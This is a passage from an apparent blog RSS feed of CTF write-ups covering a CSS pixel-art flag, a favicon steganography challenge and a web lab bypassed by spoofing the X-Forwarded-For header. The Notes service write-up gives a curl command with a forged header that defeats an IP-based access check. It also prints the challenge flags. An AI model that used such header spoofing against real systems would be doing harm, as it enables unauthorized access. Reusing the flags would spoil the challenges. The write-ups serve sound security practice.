&lt;li&gt;In the Elements panel, select the &lt;code&gt;&amp;lt;div class=&quot;flag&quot;&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the Styles panel, add a scaling rule to make the pixel art readable:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;.flag {
  transform: scale(6);
  transform-origin: top left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;If the background makes it hard to read, also add:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;body { background: #000 !important; }
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Once scaled, the pixel grid clearly renders text - read off the CTF flag.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why This Works&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;box-shadow&lt;/code&gt; list is a classic CSS &quot;pixel art&quot; trick: one base element plus many shadows to draw pixels.&lt;/li&gt;
&lt;li&gt;All offsets are multiples of 8px in both x and y, creating a grid of 8x8 pixels.&lt;/li&gt;
&lt;li&gt;Scaling the element makes the rendered text legible without changing the page semantics.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;v1t{CSS_P1X3L_ART}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Tiny Flag</title><link>https://daryx.vercel.app/posts/v1tctf-2025-tiny-flag/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/v1tctf-2025-tiny-flag/</guid><description>Flag hidden in favicon pixel art steganography</description><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;The page is full of decorative elements (moving dots, scanlines, etc.), which are red herrings. The title and hint suggest the flag is &quot;tiny&quot; and right &quot;in front of your eyes.&quot; The trick is that the flag is drawn inside the page&apos;s &lt;strong&gt;favicon&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Solution Steps&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Open the site and inspect the page head (View Source or DevTools -&amp;gt; Elements).&lt;/li&gt;
&lt;li&gt;Notice the favicon reference:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;favicon.ico&quot; type=&quot;image/x-icon&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;code&gt;favicon.ico&lt;/code&gt; directly in a new tab (DevTools -&amp;gt; Network -&amp;gt; click the icon request).&lt;/li&gt;
&lt;li&gt;Zoom way in (800-1600%) to see the pixel art text clearly.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Alternative: Extract and Upscale Locally&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Download the favicon
curl -O https://target-site/favicon.ico

# Convert and upscale with nearest-neighbor to keep pixels crisp
# Requires ImageMagick
convert favicon.ico -filter point -resize 1600% out.png

# Open out.png to read the flag
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pitfalls&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Don&apos;t over-focus on hidden CSS pixels or JS effects; they&apos;re decoys.&lt;/li&gt;
&lt;li&gt;The entire solve is recognizing the favicon and zooming in.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;v1t{T1NY_ICO}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Notes service</title><link>https://daryx.vercel.app/posts/hackerlab-notes-service/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/hackerlab-notes-service/</guid><description>X-Forwarded-For header bypass for localhost restriction</description><pubDate>Wed, 08 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&quot;I store all the most important things in my notes.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We are provided with an IP address and a specific endpoint to a note: &lt;code&gt;/note/27&lt;/code&gt;. The goal is to access this note, which presumably contains the flag.&lt;/p&gt;
&lt;h2&gt;Reconnaissance&lt;/h2&gt;
&lt;p&gt;Attempting to access the URL &lt;code&gt;http://62.173.140.174:16096/note/27&lt;/code&gt; directly results in a &lt;strong&gt;403 Forbidden&lt;/strong&gt; error.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.1.3 Python/3.11.6
...
&amp;lt;div class=&quot;card&quot;&amp;gt;
    &amp;lt;p&amp;gt;Oops! You don&apos;t have permission to view this note.&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;Maybe there is a secret way around this?&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server identifies itself as &lt;strong&gt;Werkzeug/Python&lt;/strong&gt; (Flask). The error message &quot;Maybe there is a secret way around this?&quot; combined with an &quot;Easy&quot; difficulty rating often suggests a restriction based on the client&apos;s identity or location.&lt;/p&gt;
&lt;h2&gt;Vulnerability: IP Restriction Bypass&lt;/h2&gt;
&lt;p&gt;In web applications, developers often restrict administrative or private endpoints to internal traffic (localhost) for security. However, if the application determines the client&apos;s IP address using HTTP headers like &lt;code&gt;X-Forwarded-For&lt;/code&gt; without proper validation, an attacker can spoof their IP.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;X-Forwarded-For&lt;/code&gt; header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. If we manually inject this header, we can trick the server into believing the request is originating from the server itself (&lt;code&gt;127.0.0.1&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;We use &lt;code&gt;curl&lt;/code&gt; to send a GET request to the restricted endpoint while injecting the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header set to localhost.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -H &quot;X-Forwarded-For: 127.0.0.1&quot; \
     -v http://62.173.140.174:16096/note/27
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server accepts the spoofed IP and returns a &lt;strong&gt;200 OK&lt;/strong&gt; response containing the secret note.&lt;/p&gt;
&lt;h3&gt;Server Response&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.6
Content-Type: text/html; charset=utf-8

...
&amp;lt;div class=&quot;card&quot;&amp;gt;
    &amp;lt;pre&amp;gt;Congratulations! You&apos;ve found the secret note.

Here is your flag:

CODEBY{byp4ss_4o3_err0r}
&amp;lt;/pre&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CODEBY{byp4ss_4o3_err0r}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>